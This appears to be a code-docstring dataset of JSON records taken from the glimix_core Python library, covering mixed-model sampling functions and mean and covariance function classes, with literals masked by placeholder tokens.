{"signature": "def sample(self, random_state=None):", "body": "from numpy_sugar import epsilon<EOL>from numpy_sugar.linalg import sum2diag<EOL>from numpy_sugar.random import multivariate_normal<EOL>if random_state is None:<EOL><INDENT>random_state = RandomState()<EOL><DEDENT>m = self._mean.value()<EOL>K = self._cov.value().copy()<EOL>sum2diag(K, +epsilon.small, out=K)<EOL>return self._lik.sample(multivariate_normal(m, K, random_state), random_state)<EOL>", "docstring": "r\"\"\"Sample from the specified distribution.\n\n        Parameters\n        ----------\n        random_state : random_state\n            Set the initial random state.\n\n        Returns\n        -------\n        numpy.ndarray\n            Sample.", "id": "f13577:c0:m1"}
{"signature": "def bernoulli_sample(<EOL>offset,<EOL>G,<EOL>heritability=<NUM_LIT:0.5>,<EOL>causal_variants=None,<EOL>causal_variance=<NUM_LIT:0>,<EOL>random_state=None,<EOL>):", "body": "link = LogitLink()<EOL>mean, cov = _mean_cov(<EOL>offset, G, heritability, causal_variants, causal_variance, random_state<EOL>)<EOL>lik = BernoulliProdLik(link)<EOL>sampler = GGPSampler(lik, mean, cov)<EOL>return sampler.sample(random_state)<EOL>", "docstring": "r\"\"\"Bernoulli likelihood sampling.\n\n    Sample according to\n\n    .. math::\n\n        \\mathbf y \\sim \\prod_{i=1}^n\n        \\text{Bernoulli}(\\mu_i = \\text{logit}(z_i))\n        \\mathcal N(~ o \\mathbf 1 + \\mathbf a^\\intercal \\boldsymbol\\alpha;\n        ~ (h^2 - v_c)\\mathrm G^\\intercal\\mathrm G +\n        (1-h^2-v_c)\\mathrm I ~)\n\n    using the canonical Logit link function to define the conditional Bernoulli\n    mean :math:`\\mu_i`.\n\n    The causal :math:`\\mathbf a` covariates and the corresponding effect-sizes\n    are randomly draw according to the following idea. The ``causal_variants``,\n    if given, are first mean-zero and std-one normalized and then having\n    its elements divided by the squared-root the the number of variances::\n\n        causal_variants = _stdnorm(causal_variants, axis=0)\n        causal_variants /= sqrt(causal_variants.shape[1])\n\n    The causal effect-sizes :math:`\\boldsymbol\\alpha` are draw from\n    :math:`\\{-1, +1\\}` and subsequently normalized for mean-zero and std-one\"\"\n\n    Parameters\n    ----------\n    random_state : random_state\n        Set the initial random state.\n\n    Example\n    -------\n\n    .. doctest::\n\n        >>> from glimix_core.random import bernoulli_sample\n        >>> from numpy.random import RandomState\n        >>> offset = 5\n        >>> G = [[1, -1], [2, 1]]\n        >>> bernoulli_sample(offset, G, random_state=RandomState(0))\n        array([1., 1.])", "id": "f13578:m0"}
{"signature": "def binomial_sample(<EOL>ntrials,<EOL>offset,<EOL>G,<EOL>heritability=<NUM_LIT:0.5>,<EOL>causal_variants=None,<EOL>causal_variance=<NUM_LIT:0>,<EOL>random_state=None,<EOL>):", "body": "link = LogitLink()<EOL>mean, cov = _mean_cov(<EOL>offset, G, heritability, causal_variants, causal_variance, random_state<EOL>)<EOL>lik = BinomialProdLik(ntrials, link)<EOL>sampler = GGPSampler(lik, mean, cov)<EOL>return sampler.sample(random_state)<EOL>", "docstring": "Binomial likelihood sampling.\n\n    Parameters\n    ----------\n    random_state : random_state\n        Set the initial random state.\n\n    Example\n    -------\n\n    .. doctest::\n\n        >>> from glimix_core.random import binomial_sample\n        >>> from numpy.random import RandomState\n        >>> ntrials = [5, 15]\n        >>> offset = 0.5\n        >>> G = [[1, -1], [2, 1]]\n        >>> binomial_sample(ntrials, offset, G, random_state=RandomState(0))\n        array([ 2., 14.])", "id": "f13578:m1"}
{"signature": "def poisson_sample(<EOL>offset,<EOL>G,<EOL>heritability=<NUM_LIT:0.5>,<EOL>causal_variants=None,<EOL>causal_variance=<NUM_LIT:0>,<EOL>random_state=None,<EOL>):", "body": "mean, cov = _mean_cov(<EOL>offset, G, heritability, causal_variants, causal_variance, random_state<EOL>)<EOL>link = LogLink()<EOL>lik = PoissonProdLik(link)<EOL>sampler = GGPSampler(lik, mean, cov)<EOL>return sampler.sample(random_state)<EOL>", "docstring": "Poisson likelihood sampling.\n\n    Parameters\n    ----------\n    random_state : random_state\n        Set the initial random state.\n\n    Example\n    -------\n\n    .. doctest::\n\n        >>> from glimix_core.random import poisson_sample\n        >>> from numpy.random import RandomState\n        >>> offset = -0.5\n        >>> G = [[0.5, -1], [2, 1]]\n        >>> poisson_sample(offset, G, random_state=RandomState(0))\n        array([0, 6])", "id": "f13578:m2"}
{"signature": "def sample(self, random_state=None):", "body": "from numpy_sugar import epsilon<EOL>from numpy_sugar.linalg import sum2diag<EOL>from numpy_sugar.random import multivariate_normal<EOL>if random_state is None:<EOL><INDENT>random_state = RandomState()<EOL><DEDENT>m = self._mean.value()<EOL>K = self._cov.value().copy()<EOL>sum2diag(K, +epsilon.small, out=K)<EOL>return multivariate_normal(m, K, random_state)<EOL>", "docstring": "r\"\"\"Sample from the specified distribution.\n\n        Parameters\n        ----------\n        random_state : random_state\n            Set the initial random state.\n\n        Returns\n        -------\n        numpy.ndarray\n            Sample.", "id": "f13579:c0:m1"}
{"signature": "def fit(self, verbose=True, factr=<NUM_LIT>, pgtol=<NUM_LIT>):", "body": "self._maximize(verbose=verbose, factr=factr, pgtol=pgtol)<EOL>", "docstring": "r\"\"\"Maximise the marginal likelihood.\n\n        Parameters\n        ----------\n        verbose : bool\n            ``True`` for progress output; ``False`` otherwise.\n            Defaults to ``True``.\n        factr : float, optional\n            The iteration stops when\n            ``(f^k - f^{k+1})/max{|f^k|,|f^{k+1}|,1} <= factr * eps``, where ``eps`` is\n            the machine precision.\n        pgtol : float, optional\n            The iteration will stop when ``max{|proj g_i | i = 1, ..., n} <= pgtol``\n            where ``pg_i`` is the i-th component of the projected gradient.\n\n        Notes\n        -----\n        Please, refer to :func:`scipy.optimize.fmin_l_bfgs_b` for further information\n        about ``factr`` and ``pgtol``.", "id": "f13587:c0:m2"}
{"signature": "def lml(self):", "body": "return self.value()<EOL>", "docstring": "r\"\"\"Log of the marginal likelihood.\n\n        Returns\n        -------\n        float\n            :math:`\\log p(\\mathbf y)`", "id": "f13587:c0:m3"}
{"signature": "def __init__(self, A, X):", "body": "self._A = asarray(A, float)<EOL>self._X = asarray(X, float)<EOL>vecB = zeros((X.shape[<NUM_LIT:1>], A.shape[<NUM_LIT:0>])).ravel()<EOL>self._vecB = Vector(vecB)<EOL>self._nparams = vecB.size<EOL>Function.__init__(self, \"<STR_LIT>\", vecB=self._vecB)<EOL>", "docstring": "Constructor.\n\nParameters\n----------\nA : array_like\n    p\u00d7p array.\nX : array_like\n    n\u00d7c array.", "id": "f13588:c0:m0"}
{"signature": "@property<EOL><INDENT>def nparams(self):<DEDENT>", "body": "return self._nparams<EOL>", "docstring": "Number of parameters.", "id": "f13588:c0:m1"}
{"signature": "@property<EOL><INDENT>def A(self):<DEDENT>", "body": "return self._A<EOL>", "docstring": "Matrix A.", "id": "f13588:c0:m2"}
{"signature": "@property<EOL><INDENT>def X(self):<DEDENT>", "body": "return self._X<EOL>", "docstring": "Matrix X.", "id": "f13588:c0:m3"}
{"signature": "@property<EOL><INDENT>def AX(self):<DEDENT>", "body": "return kron(self.A, self.X)<EOL>", "docstring": "A \u2297 X.", "id": "f13588:c0:m4"}
{"signature": "def value(self):", "body": "return self.AX @ self._vecB.value<EOL>", "docstring": "Kronecker mean function.\n\nReturns\n-------\n\ud835\udc26 : ndarray\n    (A\u2297X)vec(B).", "id": "f13588:c0:m5"}
{"signature": "def gradient(self):", "body": "return {\"<STR_LIT>\": self.AX}<EOL>", "docstring": "Gradient of the linear mean function.\n\nReturns\n-------\nvecB : ndarray\n    Derivative of M over vec(B).", "id": "f13588:c0:m6"}
{"signature": "@property<EOL><INDENT>def B(self):<DEDENT>", "body": "return unvec(self._vecB.value, (self.X.shape[<NUM_LIT:1>], self.A.shape[<NUM_LIT:0>]))<EOL>", "docstring": "Effect-sizes parameter, B.", "id": "f13588:c0:m7"}
{"signature": "def __init__(self, means):", "body": "self._means = [c for c in means]<EOL>Function.__init__(self, \"<STR_LIT>\", composite=self._means)<EOL>", "docstring": "Constructor.\n\nParameters\n----------\nmeans : list\n    List of mean functions.", "id": "f13593:c0:m0"}
{"signature": "def value(self):", "body": "return add.reduce([mean.value() for mean in self._means])<EOL>", "docstring": "Sum of mean vectors, \ud835\udc1f\u2080 + \ud835\udc1f\u2081 + \u2026.\n\nReturns\n-------\n\ud835\udc26 : ndarray\n    \ud835\udc1f\u2080 + \ud835\udc1f\u2081 + \u2026.", "id": "f13593:c0:m1"}
{"signature": "def gradient(self):", "body": "grad = {}<EOL>for i, f in enumerate(self._means):<EOL><INDENT>for varname, g in f.gradient().items():<EOL><INDENT>grad[f\"<STR_LIT>\"] = g<EOL><DEDENT><DEDENT>return grad<EOL>", "docstring": "Sum of mean function derivatives.\n\nReturns\n-------\n\u2202\ud835\udc26 : dict\n    \u2202\ud835\udc1f\u2080 + \u2202\ud835\udc1f\u2081 + \u2026.", "id": "f13593:c0:m2"}
{"signature": "def __init__(self, n):", "body": "self._offset = Scalar(<NUM_LIT:0.0>)<EOL>self._offset.bounds = (-<NUM_LIT>, +<NUM_LIT:200>)<EOL>self._n = n<EOL>Function.__init__(self, \"<STR_LIT>\", offset=self._offset)<EOL>", "docstring": "Constructor.\n\nParameters\n----------\nn : int\n    Size of the \ud835\udfcf array.", "id": "f13595:c0:m0"}
{"signature": "def fix_offset(self):", "body": "self._fix(\"<STR_LIT>\")<EOL>", "docstring": "Prevent \u03b8 update during optimization.", "id": "f13595:c0:m1"}
{"signature": "def unfix_offset(self):", "body": "self._unfix(\"<STR_LIT>\")<EOL>", "docstring": "Enable \u03b8 update during optimization.", "id": "f13595:c0:m2"}
{"signature": "def value(self):", "body": "return full(self._n, self._offset.value)<EOL>", "docstring": "Offset mean.\n\nReturns\n-------\n\ud835\udc26 : (n,) ndarray\n    \u03b8\u22c5\ud835\udfcf.", "id": "f13595:c0:m3"}
{"signature": "def gradient(self):", "body": "return dict(offset=ones(self._n))<EOL>", "docstring": "Gradient of the offset function.\n\nReturns\n-------\noffset : (n,) ndarray\n    Vector \ud835\udfcf.", "id": "f13595:c0:m4"}
{"signature": "@property<EOL><INDENT>def offset(self):<DEDENT>", "body": "return self._offset.value<EOL>", "docstring": "Offset parameter.", "id": "f13595:c0:m5"}
{"signature": "def __init__(self, X):", "body": "X = asarray(X, float)<EOL>m = X.shape[<NUM_LIT:1>]<EOL>self._effsizes = Vector(zeros(m))<EOL>self._effsizes.bounds = [(-<NUM_LIT>, +<NUM_LIT:200>)] * m<EOL>self._X = X<EOL>Function.__init__(self, \"<STR_LIT>\", effsizes=self._effsizes)<EOL>", "docstring": "Constructor.\n\nParameters\n----------\nX : array_like\n    Covariates X, from X\ud835\udf36.", "id": "f13596:c0:m0"}
{"signature": "@property<EOL><INDENT>def X(self):<DEDENT>", "body": "return self._X<EOL>", "docstring": "An n\u00d7m matrix of covariates.", "id": "f13596:c0:m1"}
{"signature": "def value(self):", "body": "return self._X @ self._effsizes<EOL>", "docstring": "Linear mean function.\n\nReturns\n-------\n\ud835\udc26 : (n,) ndarray\n    X\ud835\udf36.", "id": "f13596:c0:m2"}
{"signature": "def gradient(self):", "body": "return dict(effsizes=self._X)<EOL>", "docstring": "Gradient of the linear mean function over the effect sizes.\n\nReturns\n-------\neffsizes : (n, m) ndarray\n    X.", "id": "f13596:c0:m3"}
{"signature": "@property<EOL><INDENT>def effsizes(self):<DEDENT>", "body": "return self._effsizes.value<EOL>", "docstring": "Effect-sizes parameter, \ud835\udf36, of size m.", "id": "f13596:c0:m4"}
{"signature": "def __init__(self, dim):", "body": "self._dim = dim<EOL>self._I = eye(dim)<EOL>self._logscale = Scalar(<NUM_LIT:0.0>)<EOL>Function.__init__(self, \"<STR_LIT>\", logscale=self._logscale)<EOL>self._logscale.bounds = (-<NUM_LIT>, +<NUM_LIT:10>)<EOL>", "docstring": "Constructor.\n\nParameters\n----------\ndim : int\n    Matrix dimension, d.", "id": "f13597:c0:m0"}
{"signature": "@property<EOL><INDENT>def scale(self):<DEDENT>", "body": "return exp(self._logscale)<EOL>", "docstring": "Scale parameter.", "id": "f13597:c0:m1"}
{"signature": "@property<EOL><INDENT>def dim(self):<DEDENT>", "body": "return self._I.shape[<NUM_LIT:0>]<EOL>", "docstring": "Dimension of the matrix, d.\n\nIt corresponds to the number of rows and to the number of columns.", "id": "f13597:c0:m3"}
{"signature": "def value(self):", "body": "return self.scale * self._I<EOL>", "docstring": "Covariance matrix.\n\nReturns\n-------\nK : ndarray\n    s\u22c5I, for scale s and a d\u00d7d identity matrix I.", "id": "f13597:c0:m4"}
{"signature": "def gradient(self):", "body": "return dict(logscale=self.value())<EOL>", "docstring": "Derivative of the covariance matrix over log(s), s\u22c5I.\n\nReturns\n-------\nlogscale : ndarray\n    s\u22c5I, for scale s and a d\u00d7d identity matrix I.", "id": "f13597:c0:m5"}
{"signature": "def __init__(self, K0):", "body": "from numpy_sugar.linalg import check_symmetry<EOL>self._logscale = Scalar(<NUM_LIT:0.0>)<EOL>Function.__init__(self, \"<STR_LIT>\", logscale=self._logscale)<EOL>self._logscale.bounds = (-<NUM_LIT>, +<NUM_LIT:10>)<EOL>if not check_symmetry(K0):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self._K0 = K0<EOL>", "docstring": "Constructor.\n\nParameters\n----------\nK0 : array_like\n    A semi-definite positive matrix.", "id": "f13598:c0:m0"}
{"signature": "@property<EOL><INDENT>def scale(self):<DEDENT>", "body": "return float(exp(self._logscale.value))<EOL>", "docstring": "Scale parameter, s.", "id": "f13598:c0:m1"}
{"signature": "def value(self):", "body": "return self.scale * self._K0<EOL>", "docstring": "Covariance matrix, s\u22c5K\u2080.\n\nReturns\n-------\nK : ndarray\n    s\u22c5K\u2080.", "id": "f13598:c0:m3"}
{"signature": "def gradient(self):", "body": "return dict(logscale=self.scale * self._K0)<EOL>", "docstring": "Derivative of the covariance matrix over log(s).\n\nReturns\n-------\nlogscale : float\n    s\u22c5K\u2080.", "id": "f13598:c0:m4"}
{"signature": "def __init__(self, dim):", "body": "from numpy_sugar import epsilon<EOL>dim = int(dim)<EOL>tsize = ((dim + <NUM_LIT:1>) * dim) // <NUM_LIT:2><EOL>self._L = zeros((dim, dim))<EOL>self._tril1 = tril_indices_from(self._L, k=-<NUM_LIT:1>)<EOL>self._diag = diag_indices_from(self._L)<EOL>self._L[self._tril1] = <NUM_LIT:1><EOL>self._L[self._diag] = <NUM_LIT:0><EOL>self._epsilon = epsilon.small * <NUM_LIT:1000><EOL>self._Lu = Vector(zeros(tsize))<EOL>self._Lu.value[: tsize - dim] = <NUM_LIT:1><EOL>n = self.L.shape[<NUM_LIT:0>]<EOL>self._grad_Lu = zeros((n, n, self._Lu.shape[<NUM_LIT:0>]))<EOL>Function.__init__(self, \"<STR_LIT>\", Lu=self._Lu)<EOL>bounds = [(-inf, +inf)] * (tsize - dim)<EOL>bounds += [(log(epsilon.small * <NUM_LIT:1000>), +<NUM_LIT:11>)] * dim<EOL>self._Lu.bounds = bounds<EOL>self._cache = {\"<STR_LIT>\": None}<EOL>self.listen(self._parameters_update)<EOL>self._nparams = tsize<EOL>", "docstring": "Constructor.\n\nParameters\n----------\ndim : int\n    Dimension d of the free-form covariance matrix.", "id": "f13599:c0:m0"}
{"signature": "@property<EOL><INDENT>def nparams(self):<DEDENT>", "body": "return self._nparams<EOL>", "docstring": "Number of parameters.", "id": "f13599:c0:m2"}
{"signature": "def listen(self, func):", "body": "self._Lu.listen(func)<EOL>", "docstring": "Listen to parameters change.\n\nParameters\n----------\nfunc : callable\n    Function to be called when a parameter changes.", "id": "f13599:c0:m3"}
{"signature": "@property<EOL><INDENT>def shape(self):<DEDENT>", "body": "n = self._L.shape[<NUM_LIT:0>]<EOL>return (n, n)<EOL>", "docstring": "Array shape.", "id": "f13599:c0:m4"}
{"signature": "def fix(self):", "body": "self._Lu.fix()<EOL>", "docstring": "Disable parameter optimisation.", "id": "f13599:c0:m5"}
{"signature": "def unfix(self):", "body": "self._Lu.unfix()<EOL>", "docstring": "Enable parameter optimisation.", "id": "f13599:c0:m6"}
{"signature": "def eigh(self):", "body": "from numpy.linalg import svd<EOL>if self._cache[\"<STR_LIT>\"] is not None:<EOL><INDENT>return self._cache[\"<STR_LIT>\"]<EOL><DEDENT>U, S = svd(self.L)[:<NUM_LIT:2>]<EOL>S *= S<EOL>S += self._epsilon<EOL>self._cache[\"<STR_LIT>\"] = S, U<EOL>return self._cache[\"<STR_LIT>\"]<EOL>", "docstring": "Eigen decomposition of K.\n\nReturns\n-------\nS : ndarray\n    The eigenvalues in ascending order, each repeated according to its\n    multiplicity.\nU : ndarray\n    Normalized eigenvectors.", "id": "f13599:c0:m7"}
{"signature": "@property<EOL><INDENT>def Lu(self):<DEDENT>", "body": "return self._Lu.value<EOL>", "docstring": "Lower-triangular, flat part of L.", "id": "f13599:c0:m8"}
{"signature": "@property<EOL><INDENT>def L(self):<DEDENT>", "body": "m = len(self._tril1[<NUM_LIT:0>])<EOL>self._L[self._tril1] = self._Lu.value[:m]<EOL>self._L[self._diag] = exp(self._Lu.value[m:])<EOL>return self._L<EOL>", "docstring": "Lower-triangular matrix L such that K = LL\u1d40 + \u03f5I.\n\nReturns\n-------\nL : (d, d) ndarray\n    Lower-triangular matrix.", "id": "f13599:c0:m10"}
{"signature": "def logdet(self):", "body": "from numpy.linalg import slogdet<EOL>K = self.value()<EOL>sign, logdet = slogdet(K)<EOL>if sign != <NUM_LIT:1.0>:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>msg += f\"<STR_LIT>\"<EOL>raise RuntimeError(msg)<EOL><DEDENT>return logdet<EOL>", "docstring": "Log of \uff5cK\uff5c.\n\nReturns\n-------\nfloat\n    Log-determinant of K.", "id": "f13599:c0:m12"}
{"signature": "def value(self):", "body": "K = dot(self.L, self.L.T)<EOL>return K + self._epsilon * eye(K.shape[<NUM_LIT:0>])<EOL>", "docstring": "Covariance matrix.\n\nReturns\n-------\nK : ndarray\n    Matrix K = LL\u1d40 + \u03f5I, for a very small positive number \u03f5.", "id": "f13599:c0:m13"}
{"signature": "def gradient(self):", "body": "L = self.L<EOL>self._grad_Lu[:] = <NUM_LIT:0><EOL>for i in range(len(self._tril1[<NUM_LIT:0>])):<EOL><INDENT>row = self._tril1[<NUM_LIT:0>][i]<EOL>col = self._tril1[<NUM_LIT:1>][i]<EOL>self._grad_Lu[row, :, i] = L[:, col]<EOL>self._grad_Lu[:, row, i] += L[:, col]<EOL><DEDENT>m = len(self._tril1[<NUM_LIT:0>])<EOL>for i in range(len(self._diag[<NUM_LIT:0>])):<EOL><INDENT>row = self._diag[<NUM_LIT:0>][i]<EOL>col = self._diag[<NUM_LIT:1>][i]<EOL>self._grad_Lu[row, :, m + i] = L[row, col] * L[:, col]<EOL>self._grad_Lu[:, row, m + i] += L[row, col] * L[:, col]<EOL><DEDENT>return {\"<STR_LIT>\": self._grad_Lu}<EOL>", "docstring": "Derivative of the covariance matrix over the parameters of L.\n\nReturns\n-------\nLu : ndarray\n    Derivative of K over the lower triangular part of L.", "id": "f13599:c0:m14"}
{"signature": "def __init__(self, covariances):", "body": "self._covariances = [c for c in covariances]<EOL>Function.__init__(self, \"<STR_LIT>\", composite=self._covariances)<EOL>", "docstring": "Constructor.\n\nParameters\n----------\ncovariances : list\n    List of covariance functions.", "id": "f13607:c0:m0"}
{"signature": "def value(self):", "body": "return add.reduce([cov.value() for cov in self._covariances])<EOL>", "docstring": "r\"\"\"\n        Sum of covariance matrices.\n\n        Returns\n        -------\n        K : ndarray\n            K\u2080 + K\u2081 + \u22ef", "id": "f13607:c0:m1"}
{"signature": "def gradient(self):", "body": "grad = {}<EOL>for i, f in enumerate(self._covariances):<EOL><INDENT>for varname, g in f.gradient().items():<EOL><INDENT>grad[f\"<STR_LIT>\"] = g<EOL><DEDENT><DEDENT>return grad<EOL>", "docstring": "Sum of covariance function derivatives.\n\nReturns\n-------\ndict\n    \u2202K\u2080 + \u2202K\u2081 + \u22ef", "id": "f13607:c0:m2"}
{"signature": "def __init__(self, n, m):", "body": "self._L = ones((n, m))<EOL>self._Lu = Vector(self._L.ravel())<EOL>Function.__init__(self, \"<STR_LIT>\", Lu=self._Lu)<EOL>", "docstring": "Constructor.\n\nParameters\n----------\nn : int\n    Covariance dimension.\nm : int\n    Upper limit of the covariance matrix rank.", "id": "f13608:c0:m0"}
{"signature": "@property<EOL><INDENT>def nparams(self):<DEDENT>", "body": "return self._L.size<EOL>", "docstring": "Number of parameters.", "id": "f13608:c0:m1"}
{"signature": "def listen(self, func):", "body": "self._Lu.listen(func)<EOL>", "docstring": "Listen to parameters change.\n\nParameters\n----------\nfunc : callable\n    Function to be called when a parameter changes.", "id": "f13608:c0:m2"}
{"signature": "def fix(self):", "body": "self._Lu.fix()<EOL>", "docstring": "Disable parameter optimisation.", "id": "f13608:c0:m3"}
{"signature": "def unfix(self):", "body": "self._Lu.unfix()<EOL>", "docstring": "Enable parameter optimisation.", "id": "f13608:c0:m4"}
{"signature": "@property<EOL><INDENT>def Lu(self):<DEDENT>", "body": "return self._Lu.value<EOL>", "docstring": "Lower-triangular, flat part of L.", "id": "f13608:c0:m5"}
{"signature": "@property<EOL><INDENT>def L(self):<DEDENT>", "body": "return self._L<EOL>", "docstring": "Matrix L from K = LL\u1d40.\n\nReturns\n-------\nL : (n, m) ndarray\n    Parametric matrix.", "id": "f13608:c0:m7"}
{"signature": "@property<EOL><INDENT>def shape(self):<DEDENT>", "body": "n = self._L.shape[<NUM_LIT:0>]<EOL>return (n, n)<EOL>", "docstring": "Array shape.", "id": "f13608:c0:m9"}
{"signature": "def value(self):", "body": "return dot(self.L, self.L.T)<EOL>", "docstring": "Covariance matrix.\n\nReturns\n-------\nK : (n, n) ndarray\n    K = LL\u1d40.", "id": "f13608:c0:m10"}
{"signature": "def gradient(self):", "body": "L = self.L<EOL>n = self.L.shape[<NUM_LIT:0>]<EOL>grad = {\"<STR_LIT>\": zeros((n, n, n * self._L.shape[<NUM_LIT:1>]))}<EOL>for ii in range(self._L.shape[<NUM_LIT:0>] * self._L.shape[<NUM_LIT:1>]):<EOL><INDENT>row = ii // self._L.shape[<NUM_LIT:1>]<EOL>col = ii % self._L.shape[<NUM_LIT:1>]<EOL>grad[\"<STR_LIT>\"][row, :, ii] = L[:, col]<EOL>grad[\"<STR_LIT>\"][:, row, ii] += L[:, col]<EOL><DEDENT>return grad<EOL>", "docstring": "Derivative of the covariance matrix over the lower triangular, flat part of L.\n\nIt is equal to\n\n    \u2202K/\u2202L\u1d62\u2c7c = AL\u1d40 + LA\u1d40,\n\nwhere A\u1d62\u2c7c is an n\u00d7m matrix of zeros except at [A\u1d62\u2c7c]\u1d62\u2c7c=1.\n\nReturns\n-------\nLu : ndarray\n    Derivative of K over the lower-triangular, flat part of L.", "id": "f13608:c0:m11"}
{"signature": "def __init__(self, G, dim, rank):", "body": "self._cache = {\"<STR_LIT>\": None}<EOL>self._C0 = LRFreeFormCov(dim, rank)<EOL>self._C0.name = \"<STR_LIT>\"<EOL>self._C1 = FreeFormCov(dim)<EOL>self._C1.name = \"<STR_LIT>\"<EOL>G = atleast_2d(asarray(G, float))<EOL>self._G = G<EOL>self._Sxe = None<EOL>self._Sx = None<EOL>self._Lx = None<EOL>self._LxG = None<EOL>self._diag_LxGGLx = None<EOL>self._Lxe = None<EOL>self._LxGe = None<EOL>self._diag_LxGGLxe = None<EOL>Function.__init__(<EOL>self, \"<STR_LIT>\", composite=[(\"<STR_LIT>\", self._C0), (\"<STR_LIT>\", self._C1)]<EOL>)<EOL>self._C0.listen(self._parameters_update)<EOL>self._C1.listen(self._parameters_update)<EOL>", "docstring": "Constructor.\n\nParameters\n----------\ndim : int\n    Dimension d for the square matrices C\u2080 and C\u2081.\nrank : int\n    Maximum rank of the C\u2081 matrix.", "id": "f13610:c0:m0"}
{"signature": "@property<EOL><INDENT>def nparams(self):<DEDENT>", "body": "return self._C0.nparams + self._C1.nparams<EOL>", "docstring": "Number of parameters.", "id": "f13610:c0:m2"}
{"signature": "@property<EOL><INDENT>@lru_cache(maxsize=None)<EOL>def Ge(self):<DEDENT>", "body": "from scipy.linalg import svd<EOL>from numpy_sugar.linalg import ddot<EOL>U, S, _ = svd(self._G, full_matrices=False, check_finite=False)<EOL>if U.shape[<NUM_LIT:1>] < self._G.shape[<NUM_LIT:1>]:<EOL><INDENT>return ddot(U, S)<EOL><DEDENT>return self._G<EOL>", "docstring": "Result of US from the SVD decomposition G = USV\u1d40.", "id": "f13610:c0:m3"}
{"signature": "def listen(self, func):", "body": "self._C0.listen(func)<EOL>self._C1.listen(func)<EOL>", "docstring": "Listen to parameters change.\n\nParameters\n----------\nfunc : callable\n    Function to be called when a parameter changes.", "id": "f13610:c0:m7"}
{"signature": "@property<EOL><INDENT>def Lx(self):<DEDENT>", "body": "self._init_svd()<EOL>return self._Lx<EOL>", "docstring": "L\u2093.", "id": "f13610:c0:m8"}
{"signature": "@property<EOL><INDENT>def _LhD(self):<DEDENT>", "body": "from numpy_sugar.linalg import ddot<EOL>self._init_svd()<EOL>if self._cache[\"<STR_LIT>\"] is not None:<EOL><INDENT>return self._cache[\"<STR_LIT>\"]<EOL><DEDENT>S1, U1 = self.C1.eigh()<EOL>U1S1 = ddot(U1, <NUM_LIT:1> / sqrt(S1))<EOL>Sh, Uh = eigh(U1S1.T @ self.C0.value() @ U1S1)<EOL>self._cache[\"<STR_LIT>\"] = {<EOL>\"<STR_LIT>\": (U1S1 @ Uh).T,<EOL>\"<STR_LIT:D>\": <NUM_LIT:1> / (kron(Sh, self._Sx) + <NUM_LIT:1>),<EOL>\"<STR_LIT>\": <NUM_LIT:1> / (kron(Sh, self._Sxe) + <NUM_LIT:1>),<EOL>}<EOL>return self._cache[\"<STR_LIT>\"]<EOL>", "docstring": "Implements L\u2095 and D.\n\nReturns\n-------\nLh : ndarray\n    U\u2095\u1d40 S\u2081\u207b\u00bd U\u2081\u1d40.\nD : ndarray\n    (S\u2095 \u2297 S\u2093 + I\u2095\u2093)\u207b\u00b9.", "id": "f13610:c0:m10"}
{"signature": "@property<EOL><INDENT>def Lh(self):<DEDENT>", "body": "return self._LhD[\"<STR_LIT>\"]<EOL>", "docstring": "L\u2095.", "id": "f13610:c0:m11"}
{"signature": "@property<EOL><INDENT>def D(self):<DEDENT>", "body": "return self._LhD[\"<STR_LIT:D>\"]<EOL>", "docstring": "(S\u2095 \u2297 S\u2093 + I\u2095\u2093)\u207b\u00b9.", "id": "f13610:c0:m12"}
{"signature": "@property<EOL><INDENT>def G(self):<DEDENT>", "body": "return self._G<EOL>", "docstring": "User-provided matrix G, n\u00d7m.", "id": "f13610:c0:m14"}
{"signature": "@property<EOL><INDENT>def C0(self):<DEDENT>", "body": "return self._C0<EOL>", "docstring": "Semi-definite positive matrix C\u2080.", "id": "f13610:c0:m15"}
{"signature": "@property<EOL><INDENT>def C1(self):<DEDENT>", "body": "return self._C1<EOL>", "docstring": "Definite positive matrix C\u2081.", "id": "f13610:c0:m16"}
{"signature": "def value(self):", "body": "C0 = self._C0.value()<EOL>C1 = self._C1.value()<EOL>return kron(C0, self._GG) + kron(C1, self._I)<EOL>", "docstring": "Covariance matrix K = C\u2080 \u2297 GG\u1d40 + C\u2081 \u2297 I.\n\nReturns\n-------\nK : ndarray\n    C\u2080 \u2297 GG\u1d40 + C\u2081 \u2297 I.", "id": "f13610:c0:m17"}
{"signature": "def gradient(self):", "body": "self._init_svd()<EOL>C0 = self._C0.gradient()[\"<STR_LIT>\"].T<EOL>C1 = self._C1.gradient()[\"<STR_LIT>\"].T<EOL>grad = {\"<STR_LIT>\": kron(C0, self._X).T, \"<STR_LIT>\": kron(C1, self._I).T}<EOL>return grad<EOL>", "docstring": "Gradient of K.\n\nReturns\n-------\nC0 : ndarray\n    Derivative of C\u2080 over its parameters.\nC1 : ndarray\n    Derivative of C\u2081 over its parameters.", "id": "f13610:c0:m18"}
{"signature": "def gradient_dot(self, v):", "body": "self._init_svd()<EOL>V = unvec(v, (self.G.shape[<NUM_LIT:0>], -<NUM_LIT:1>) + v.shape[<NUM_LIT:1>:])<EOL>r = {}<EOL>C = self._C0.gradient()[\"<STR_LIT>\"]<EOL>r[\"<STR_LIT>\"] = tensordot(V.T @ self.G @ self.G.T, C, axes=([-<NUM_LIT:2>], [<NUM_LIT:0>]))<EOL>r[\"<STR_LIT>\"] = r[\"<STR_LIT>\"].reshape(V.shape[<NUM_LIT:2>:] + (-<NUM_LIT:1>,) + (C.shape[-<NUM_LIT:1>],), order=\"<STR_LIT:F>\")<EOL>C = self._C1.gradient()[\"<STR_LIT>\"]<EOL>r[\"<STR_LIT>\"] = tensordot(V.T, C, axes=([-<NUM_LIT:2>], [<NUM_LIT:0>]))<EOL>r[\"<STR_LIT>\"] = r[\"<STR_LIT>\"].reshape(V.shape[<NUM_LIT:2>:] + (-<NUM_LIT:1>,) + (C.shape[-<NUM_LIT:1>],), order=\"<STR_LIT:F>\")<EOL>return r<EOL>", "docstring": "Implements \u2202K\u22c5v.\n\nParameters\n----------\nv : array_like\n    Vector from \u2202K\u22c5v.\n\nReturns\n-------\nC0.Lu : ndarray\n    \u2202K\u22c5v, where the gradient is taken over the C\u2080 parameters.\nC1.Lu : ndarray\n    \u2202K\u22c5v, where the gradient is taken over the C\u2081 parameters.", "id": "f13610:c0:m19"}
